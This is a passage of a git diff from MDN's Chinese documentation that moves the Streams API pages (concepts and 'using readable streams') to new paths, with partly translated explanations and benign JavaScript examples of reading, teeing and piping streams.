一个流一次只能被一个 reader 读;当一个 reader 被创建并开始读一个流(an active reader),我们说,它被 locked 在该流上。如果您想让另一个 reader 读这个流,则通常需要先取消第一个 reader ,再执行其他操作。(您可以 tee 流,参阅下面的 Teeing 部分)

+ +

注意,有两种不同类型的可读流。除了传统的可读流之外,还有一种类型叫做字节流 —— 这是传统流的扩展版本,用于读取底层字节源。相比可读流,字节流除了 default reader ,还可以使用 BYOB reader (BYOB, or "bring your own buffer", "带上你自己的缓冲") 。这种 reader 可以直接将流读入开发者提供的缓冲区,从而最大限度地减少所需的复制。您的代码将使用哪种底层流(以及使用哪种 reader 和 controller)取决于流最初是如何创建的(请参阅{{domxref("ReadableStream.ReadableStream","ReadableStream()")}} 构造函数页面)。

+ +
+

Important: 字节流尚未在任何地方实现,并且规范的细节被质疑是否处于可以实现的高度完成的状态。这种情况可能会随着时间而变化。

+
+ +

您可以使用现成的可读流,例如来自 fetch 请求的 {{domxref("Response.body")}} ,也可以使用 {{domxref("ReadableStream.ReadableStream","ReadableStream()")}} constructor 生成您自定义的流。

+ +

Teeing

+ +

尽管同一时刻只能有一个 reader 可以读取流,我们可以把流分割成两个相同的副本,这样它们就可以用两个独立的 reader 读取。该过程称为 teeing

+ +

在 JavaScript 中,该过程由调用 {{domxref("ReadableStream.tee()")}} 实现 —— 它返回一个数组,包含对原始可读流的两个相同的副本可读流,可以独立地被不同的 reader 读取。

+ +

举例而言,您在 ServiceWorker 中可能会用到该方法,当您从服务器 fetch 资源,得到一个响应的可读流,您可能会想把这个流拆分成两个,一个流入到浏览器,另一个流入到 ServiceWorker 的缓存。由于 response 的 body 无法被消费两次,以及可读流无法被两个 reader 同时读取,您会需要两个可读流副本来实现需求。

+ +

+ +

Writable streams

+ +

一个 Writable stream (可写流) 是一个可以写入数据的数据终点,在 JavaScript 中以一个 {{domxref("WritableStream")}} 对象表示。这是 JavaScript 层面对 underlying sink (底层汇) 的抽象 —— 底层汇是某个可以写入原始数据的更低层次的 I/O 数据汇。

+ +

数据由一个 writer 写入流中,每次一个 chunk 。chunk 和可读流的 reader 一样可以有多种类型。您可以用任何方式生成要被写入的块;writer 加上相关的代码称为 producer

+ +

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

+ +

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

+ +

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

+ +

+ +

You can make use of writable streams using the {{domxref("WritableStream.WritableStream","WritableStream()")}} constructor. These currently have very limited availability in browsers.

+ +

Pipe chains

+ +

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

+ + + +

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

+ +

+ +
+

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

+
+ +

Backpressure

+ +

流的一个重要概念是 backpressure (背压) —— 这是单个流或一个 pipe chain 调节读/写速度的过程。当链中后面的一个流仍然忙碌,尚未准备好接受更多的 chunks 时,它会通过链向上游的流发送一个信号,告诉上游的转换流(或原始源)适当地减慢传输速度,这样您就不会在任何地方遇到瓶颈。

+ +

要在可读流中使用 backpressure 技术,我们可以通过查询 controller 的 {{domxref("ReadableStreamDefaultController.desiredSize")}} 属性。如果该值太低或为负数,我们的 ReadableStream 可以告诉它的底层源停止往流中装载数据,然后我们沿着 stream chain 进行背压。

+ +

可读流在经历背压后,如果 consumer 再次想要接收数据,我们可以在构造可读流时提供 pull 方法来告诉底层源恢复往流中装载数据。

+ +

Internal queues and queuing strategies

+ +

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

+ + + +

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

+ +

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

+ +

The calculation performed is

+ +
high water mark - total size of chunks in queue = desired size
+ +

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

+ +
+

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

+
+ +

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/zh-cn/web/api/streams_api/using_readable_streams/index.html b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html new file mode 100644 index 0000000000..5313b80dc2 --- /dev/null +++ b/files/zh-cn/web/api/streams_api/using_readable_streams/index.html @@ -0,0 +1,307 @@ +--- +title: 使用可读文件流 +slug: Web/API/Streams_API/使用可读文件流 +translation_of: Web/API/Streams_API/Using_readable_streams +--- +
{{apiref("Streams")}}
+ +

作为一个js开发者,一块一块的读取和操作一个从网上获取的数据流是非常实用的功能!但是如何使用Streams API操作数据流呢? 可以在这里看到基本的介绍.

+ +
+

提示: 本文要求您已了解流文件相关知识,如果还不了解,建议您先查看 文件流概念及简介 以及 dedicated 文件流API 然后再阅读此文.

+
+ +
+

提示: 如果你正在查询关于可读写的文件流, 请查看使用可写文件流 .

+
+ +

Browser support

+ +

You can consume Fetch {{domxref("Body")}} objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). Pipe chains are only supported in Chrome at the moment, and that functionality is subject to change.

+ +

Finding some examples

+ +

We will look at various examples in this article, taken from our dom-examples/streams repo. You can find the full source code there, as well as links to the examples.

+ +

Consuming a fetch as a stream

+ +

The Fetch API allows you to fetch resources across the network, providing a modern alternative to XHR. It has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream.

+ +

The {{domxref("Body")}} mixin now includes the {{domxref("Body.body","body")}} property, which is a simple getter exposing the body contents as a readable stream. This mixin is implemented by both the {{domxref("Request")}} and {{domxref("Response")}} interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious.

+ +

As our Simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+ +

This provides us with a {{domxref("ReadableStream")}} object.

+ +

Attaching a reader

+ +

Now we’ve got our streaming body, reading the stream requires attaching a reader to it. This is done using the {{domxref("ReadableStream.getReader()")}} method:

+ +
// Fetch the original image
+fetch('./tortoise.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+.then(body => {
+  const reader = body.getReader();
+ +

Invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking {{domxref("ReadableStreamDefaultReader.releaseLock()")}}.

+ +

Also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise:

+ +
// Fetch the original image
+  fetch('./tortoise.png')
+  // Retrieve its body as ReadableStream
+  .then(response => {
+    const reader = response.body.getReader();
+ +

Reading the stream

+ +

Now you’ve got your reader attached, you can read data chunks out of the stream using the {{domxref("ReadableStreamDefaultReader.read()")}} method. This reads one chunk out of the stream, which you can then do anything you like with. For example, our Simple stream pump example goes on to enqueue each chunk in a new, custom ReadableStream (we will find more about this in the next section), then create a new {{domxref("Response")}} out of it, consume it as a {{domxref("Blob")}}, create an object URL out of that blob using {{domxref("URL.createObjectURL()")}}, and then display it on screen in an {{htmlelement("img")}} element, effectively creating a copy of the image we originally fetched.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+              controller.close();
+              return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

Let’s look in detail at how read() is used. In the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }:

+ +
return reader.read().then(({ done, value }) => {
+ +

The results can be one of three different types:

+ + + +

Next, we check whether done is true. If so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with {{domxref("ReadableStreamDefaultController.close()")}}:

+ +
if (done) {
+  controller.close();
+  return;
+}
+ +
+

Note: close() is part of the new custom stream, not the original stream we are discussing here. We’ll explain more about the custom stream in the next section.

+
+ +

If done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk.

+ +
// Enqueue the next data chunk into our target stream
+controller.enqueue(value);
+return pump();
+ +

This is the standard pattern you’ll see when using stream readers:

+ +
    +
  1. You write a function that starts off by reading the stream.
  2. +
  3. If there is no more stream to read, you return out of the function.
  4. +
  5. If there is more stream to read, you process the current chunk then run the function again.
  6. +
  7. You keep running the function recursively until there is no more stream to read, in which case step 2 is followed.
  8. +
+ +

Creating your own custom readable stream

+ +

The Simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. How do we create this? The ReadableStream constructor.

+ +

The ReadableStream constructor

+ +

It is easy to read from a stream when the browser provides it for you as in the case of Fetch, but sometimes you need to create a custom stream and populate it with your own chunks. The {{domxref("ReadableStream.ReadableStream()")}} constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad.

+ +

The generic syntax skeleton looks like this:

+ +
const stream = new ReadableStream({
+  start(controller) {
+
+  },
+  pull(controller) {
+
+  },
+  cancel() {
+
+  },
+  type,
+  autoAllocateChunkSize
+}, {
+  highWaterMark,
+  size()
+});
+ +

The constructor takes two objects as parameters. The first object is required, and creates a model in JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream. You’ll rarely have to do this, so we’ll just concentrate on the first one for now.

+ +

The first object can contain up to five members, only the first of which is required:

+ +
    +
  1. start(controller) — A method that is called once, immediately after the ReadableStream is constructed. Inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source.
  2. +
  3. pull(controller) — A method that, when included, is called repeatedly until the stream’s internal queue is full. This can be used to control the stream as more chunks are enqueued.
  4. +
  5. cancel() — A method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if {{domxref("ReadableStream.cancel()")}} is called). The contents should do whatever is necessary to release access to the stream source.
  6. +
  7. type and autoAllocateChunkSize — These are used — when included — to signify that the stream is to be a bytestream. Bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. They are also not implemented anywhere as yet.
  8. +
+ +

Looking at our simple example code again, you can see that our ReadableStream constructor only includes a single method — start(), which serves to read all the data out of our fetch stream.

+ +
  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) => {
+          // When no more data needs to be consumed, close the stream
+          if (done) {
+            controller.close();
+            return;
+          }
+          // Enqueue the next data chunk into our target stream
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+
+ +

ReadableStream controllers

+ +

You’ll notice that the start() and pull() methods passed into the ReadableStream constructor are given controller parameters — these are instances of the {{domxref("ReadableStreamDefaultController")}} class, which can be used to control your stream.

+ +

In our example we are using the controller’s {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} method to enqueue a value into the custom stream after it is read from the fetch body.

+ +

In addition, when we are done reading the fetch body we use the controller’s {{domxref("ReadableStreamDefaultController.close","close()")}} method to close the custom stream — any previously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.

+ +

Reading from custom streams

+ +

In our Simple stream pump example, we consume the custom readable stream by passing it into a {{domxref("Response.Response", "Response")}} constructor call, after which we consume it as a blob().

+ +
.then(stream => new Response(stream))
+.then(response => response.blob())
+.then(blob => URL.createObjectURL(blob))
+.then(url => console.log(image.src = url))
+.catch(err => console.error(err));
+ +

But a custom stream is still a ReadableStream instance, meaning you can attach a reader to it. As an example, have a look at our Simple random stream demo (see it live also), which creates a custom stream, enqueues some random strings into it, and then reads the data out of the stream again once the Stop string generation button is pressed.

+ +

The custom stream constructor has a start() method that uses a {{domxref("WindowTimers.setInterval()")}} call to generate a random string every second. {{domxref("ReadableStreamDefaultController.enqueue()")}} is then used to enqueue it into the stream. When the button is pressed, the interval is cancelled, and a function called readStream() is invoked to read the data back out of the stream again. We also close the stream, as we’ve stopped enqueueing chunks to it.

+ +
const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() => {
+      let string = randomChars();
+      // Add the string to the stream
+      controller.enqueue(string);
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      readStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});
+ +

In the readStream() function itself, we lock a reader to the stream using {{domxref("ReadableStream.getReader()")}}, then follow the same kind of pattern we saw earlier — reading each chunk with read(), checking whether done is true and then ending the process if so, and reading the next chunk and processing it if not, before running the read() function again.

+ +
function readStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() returns a promise that resolves
+  // when a value has been received
+  reader.read().then(function processText({ done, value }) {
+    // Result objects contain two properties:
+    // done  - true if the stream has already given you all its data.
+    // value - some data. Always undefined when done is true.
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = result;
+      return;
+    }
+
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // Read some more, and call this function again
+    return reader.read().then(processText);
+  });
+}
+ +

Closing and cancelling streams

+ +

We’ve already shown examples of using {{domxref("ReadableStreamDefaultController.close()")}} to close a reader. As we said before, any previously enqueued chunks will still be read, but no more can be enqueued because it is closed.

+ +

If you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use {{domxref("ReadableStream.cancel()")}} or {{domxref("ReadableStreamDefaultReader.cancel()")}}.

+ +

Teeing a stream

+ +

Sometimes you might want to read a stream twice, simultaneously. This is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

+ +

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the Service Worker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

+ +

We provide an example of this in our Simple tee example (see it live also). This example works much the same way as our Simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read:

+ +
function teeStream() {
+    const teedOff = stream.tee();
+    readStream(teedOff[0], list2);
+    readStream(teedOff[1], list3);
+  }
+ +

Pipe chains

+ +

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

+ +

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

+ +

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

+ +
// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response => response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs => logReadableStream('Fetch Response Stream', rs))
+.then(body => body.pipeThrough(new PNGTransformStream()))
+.then(rs => logReadableStream('PNG Chunk Stream', rs))
+ +

Summary

+ +

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" "b/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" deleted file mode 100644 index 5313b80dc2..0000000000 --- "a/files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: 使用可读文件流 -slug: Web/API/Streams_API/使用可读文件流 -translation_of: Web/API/Streams_API/Using_readable_streams ---- -
{{apiref("Streams")}}
- -

作为一个js开发者,一块一块的读取和操作一个从网上获取的数据流是非常实用的功能!但是如何使用Streams API操作数据流呢? 可以在这里看到基本的介绍.

- -
-

提示: 本文要求您已了解流文件相关知识,如果还不了解,建议您先查看 文件流概念及简介 以及 dedicated 文件流API 然后再阅读此文.

-
- -
-

提示: 如果你正在查询关于可读写的文件流, 请查看使用可写文件流 .

-
- -

Browser support

- -

You can consume Fetch {{domxref("Body")}} objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). Pipe chains are only supported in Chrome at the moment, and that functionality is subject to change.

- -

Finding some examples

- -

We will look at various examples in this article, taken from our dom-examples/streams repo. You can find the full source code there, as well as links to the examples.

- -

Consuming a fetch as a stream

- -

The Fetch API allows you to fetch resources across the network, providing a modern alternative to XHR. It has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream.

- -

The {{domxref("Body")}} mixin now includes the {{domxref("Body.body","body")}} property, which is a simple getter exposing the body contents as a readable stream. This mixin is implemented by both the {{domxref("Request")}} and {{domxref("Response")}} interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious.

- -

As our Simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response:

- -
// Fetch the original image
-fetch('./tortoise.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
- -

This provides us with a {{domxref("ReadableStream")}} object.

- -

Attaching a reader

- -

Now we’ve got our streaming body, reading the stream requires attaching a reader to it. This is done using the {{domxref("ReadableStream.getReader()")}} method:

- -
// Fetch the original image
-fetch('./tortoise.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
-.then(body => {
-  const reader = body.getReader();
- -

Invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g. by invoking {{domxref("ReadableStreamDefaultReader.releaseLock()")}}.

- -

Also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise:

- -
// Fetch the original image
-  fetch('./tortoise.png')
-  // Retrieve its body as ReadableStream
-  .then(response => {
-    const reader = response.body.getReader();
- -

Reading the stream

- -

Now you’ve got your reader attached, you can read data chunks out of the stream using the {{domxref("ReadableStreamDefaultReader.read()")}} method. This reads one chunk out of the stream, which you can then do anything you like with. For example, our Simple stream pump example goes on to enqueue each chunk in a new, custom ReadableStream (we will find more about this in the next section), then create a new {{domxref("Response")}} out of it, consume it as a {{domxref("Blob")}}, create an object URL out of that blob using {{domxref("URL.createObjectURL()")}}, and then display it on screen in an {{htmlelement("img")}} element, effectively creating a copy of the image we originally fetched.

- -
  return new ReadableStream({
-    start(controller) {
-      return pump();
-      function pump() {
-        return reader.read().then(({ done, value }) => {
-          // When no more data needs to be consumed, close the stream
-          if (done) {
-              controller.close();
-              return;
-          }
-          // Enqueue the next data chunk into our target stream
-          controller.enqueue(value);
-          return pump();
-        });
-      }
-    }
-  })
-})
-.then(stream => new Response(stream))
-.then(response => response.blob())
-.then(blob => URL.createObjectURL(blob))
-.then(url => console.log(image.src = url))
-.catch(err => console.error(err));
- -

Let’s look in detail at how read() is used. In the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }:

- -
return reader.read().then(({ done, value }) => {
- -

The results can be one of three different types:

- - - -

Next, we check whether done is true. If so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with {{domxref("ReadableStreamDefaultController.close()")}}:

- -
if (done) {
-  controller.close();
-  return;
-}
- -
-

Note: close() is part of the new custom stream, not the original stream we are discussing here. We’ll explain more about the custom stream in the next section.

-
- -

If done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk.

- -
// Enqueue the next data chunk into our target stream
-controller.enqueue(value);
-return pump();
- -

This is the standard pattern you’ll see when using stream readers:

- -
    -
  1. You write a function that starts off by reading the stream.
  2. -
  3. If there is no more stream to read, you return out of the function.
  4. -
  5. If there is more stream to read, you process the current chunk then run the function again.
  6. -
  7. You keep running the function recursively until there is no more stream to read, in which case step 2 is followed.
  8. -
- -

Creating your own custom readable stream

- -

The Simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. How do we create this? The ReadableStream constructor.

- -

The ReadableStream constructor

- -

It is easy to read from a stream when the browser provides it for you as in the case of Fetch, but sometimes you need to create a custom stream and populate it with your own chunks. The {{domxref("ReadableStream.ReadableStream()")}} constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad.

- -

The generic syntax skeleton looks like this:

- -
const stream = new ReadableStream({
-  start(controller) {
-
-  },
-  pull(controller) {
-
-  },
-  cancel() {
-
-  },
-  type,
-  autoAllocateChunkSize
-}, {
-  highWaterMark,
-  size()
-});
- -

The constructor takes two objects as parameters. The first object is required, and creates a model in JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream. You’ll rarely have to do this, so we’ll just concentrate on the first one for now.

- -

The first object can contain up to five members, only the first of which is required:

- -
    -
  1. start(controller) — A method that is called once, immediately after the ReadableStream is constructed. Inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source.
  2. -
  3. pull(controller) — A method that, when included, is called repeatedly until the stream’s internal queue is full. This can be used to control the stream as more chunks are enqueued.
  4. -
  5. cancel() — A method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if {{domxref("ReadableStream.cancel()")}} is called). The contents should do whatever is necessary to release access to the stream source.
  6. -
  7. type and autoAllocateChunkSize — These are used — when included — to signify that the stream is to be a bytestream. Bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. They are also not implemented anywhere as yet.
  8. -
- -

Looking at our simple example code again, you can see that our ReadableStream constructor only includes a single method — start(), which serves to read all the data out of our fetch stream.

- -
  return new ReadableStream({
-    start(controller) {
-      return pump();
-      function pump() {
-        return reader.read().then(({ done, value }) => {
-          // When no more data needs to be consumed, close the stream
-          if (done) {
-            controller.close();
-            return;
-          }
-          // Enqueue the next data chunk into our target stream
-          controller.enqueue(value);
-          return pump();
-        });
-      }
-    }
-  })
-})
-
- -

ReadableStream controllers

- -

You’ll notice that the start() and pull() methods passed into the ReadableStream constructor are given controller parameters — these are instances of the {{domxref("ReadableStreamDefaultController")}} class, which can be used to control your stream.

- -

In our example we are using the controller’s {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} method to enqueue a value into the custom stream after it is read from the fetch body.

- -

In addition, when we are done reading the fetch body we use the controller’s {{domxref("ReadableStreamDefaultController.close","close()")}} method to close the custom stream — any previously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.

- -

Reading from custom streams

- -

In our Simple stream pump example, we consume the custom readable stream by passing it into a {{domxref("Response.Response", "Response")}} constructor call, after which we consume it as a blob().

- -
.then(stream => new Response(stream))
-.then(response => response.blob())
-.then(blob => URL.createObjectURL(blob))
-.then(url => console.log(image.src = url))
-.catch(err => console.error(err));
- -

But a custom stream is still a ReadableStream instance, meaning you can attach a reader to it. As an example, have a look at our Simple random stream demo (see it live also), which creates a custom stream, enqueues some random strings into it, and then reads the data out of the stream again once the Stop string generation button is pressed.

- -

The custom stream constructor has a start() method that uses a {{domxref("WindowTimers.setInterval()")}} call to generate a random string every second. {{domxref("ReadableStreamDefaultController.enqueue()")}} is then used to enqueue it into the stream. When the button is pressed, the interval is cancelled, and a function called readStream() is invoked to read the data back out of the stream again. We also close the stream, as we’ve stopped enqueueing chunks to it.

- -
const stream = new ReadableStream({
-  start(controller) {
-    interval = setInterval(() => {
-      let string = randomChars();
-      // Add the string to the stream
-      controller.enqueue(string);
-      // show it on the screen
-      let listItem = document.createElement('li');
-      listItem.textContent = string;
-      list1.appendChild(listItem);
-    }, 1000);
-    button.addEventListener('click', function() {
-      clearInterval(interval);
-      readStream();
-      controller.close();
-    })
-  },
-  pull(controller) {
-    // We don't really need a pull in this example
-  },
-  cancel() {
-    // This is called if the reader cancels,
-    // so we should stop generating strings
-    clearInterval(interval);
-  }
-});
- -

In the readStream() function itself, we lock a reader to the stream using {{domxref("ReadableStream.getReader()")}}, then follow the same kind of pattern we saw earlier — reading each chunk with read(), checking whether done is true and then ending the process if so, and reading the next chunk and processing it if not, before running the read() function again.

- -
function readStream() {
-  const reader = stream.getReader();
-  let charsReceived = 0;
-
-  // read() returns a promise that resolves
-  // when a value has been received
-  reader.read().then(function processText({ done, value }) {
-    // Result objects contain two properties:
-    // done  - true if the stream has already given you all its data.
-    // value - some data. Always undefined when done is true.
-    if (done) {
-      console.log("Stream complete");
-      para.textContent = result;
-      return;
-    }
-
-    charsReceived += value.length;
-    const chunk = value;
-    let listItem = document.createElement('li');
-    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
-    list2.appendChild(listItem);
-
-    result += chunk;
-
-    // Read some more, and call this function again
-    return reader.read().then(processText);
-  });
-}
- -

Closing and cancelling streams

- -

We’ve already shown examples of using {{domxref("ReadableStreamDefaultController.close()")}} to close a reader. As we said before, any previously enqueued chunks will still be read, but no more can be enqueued because it is closed.

- -

If you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use {{domxref("ReadableStream.cancel()")}} or {{domxref("ReadableStreamDefaultReader.cancel()")}}.

- -

Teeing a stream

- -

Sometimes you might want to read a stream twice, simultaneously. This is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

- -

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the Service Worker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

- -

We provide an example of this in our Simple tee example (see it live also). This example works much the same way as our Simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read:

- -
function teeStream() {
-    const teedOff = stream.tee();
-    readStream(teedOff[0], list2);
-    readStream(teedOff[1], list3);
-  }
- -

Pipe chains

- -

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

- -

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

- -

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

- -
// Fetch the original image
-fetch('png-logo.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
-// Create a gray-scaled PNG stream out of the original
-.then(rs => logReadableStream('Fetch Response Stream', rs))
-.then(body => body.pipeThrough(new PNGTransformStream()))
-.then(rs => logReadableStream('PNG Chunk Stream', rs))
- -

Summary

- -

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" "b/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" deleted file mode 100644 index 9c2d9f77ae..0000000000 --- "a/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Streams API 概念 -slug: Web/API/Streams_API/概念 -tags: - - 概念 - - 流 -translation_of: Web/API/Streams_API/Concepts ---- -
{{apiref("Streams")}}
- -

Streams API 为 Web 平台提供了一组十分有用的工具,提供了一系列对象以允许 JavaScript 访问来自网络的数据流,并根据开发人员的需要对其进行处理。与流相关的一些概念和术语可能会令您感到陌生——本文将解释您需要了解的所有内容。

- -

Readable streams

- -

一个可读流是一个数据源,在 JavaScript 中用一个 {{domxref("ReadableStream")}} 对象表示,数据从它的 underlying source (底层源) 流出 —— 底层源表示一个您希望从中获取数据的,来自网络或其他域的,某种资源。

- -

有两种 underlying source:

- - - -

数据被按序读入到许多小块,这些小块被称作 chunkchunk 可以是单个字节,也可以是某种更大的数据类型,例如特定大小的 typed array 。来自一个流的 chunks 可以有不同的大小和类型。

- -

- -

已放入到流中的 chunks 称作 enqueued —— 这意味着它们已经准备好被读取,并等待在队列中。流的一个 internal queue 跟踪了那些尚未读取的块(请参阅下面的内部队列和队列策略部分)。

- -

流中的 chunks 由一个 reader 读取 —— 该数据处理过程一次只处理一个 chunk,允许您对其执行任何类型的操作。reader 加上与它一起运行的其他处理代码合称为一个 consumer 

- -

另一个您将用到的对象叫做 controller —— 每个 reader 都有一个关联的 controller,用来控制流 (例如,可以将流 close)。

- -

一个流一次只能被一个 reader 读;当一个 reader 被创建并开始读一个流(an active reader),我们说,它被 locked 在该流上。如果您想让另一个 reader 读这个流,则通常需要先取消第一个 reader ,再执行其他操作。(您可以 tee 流,参阅下面的 Teeing 部分)

- -

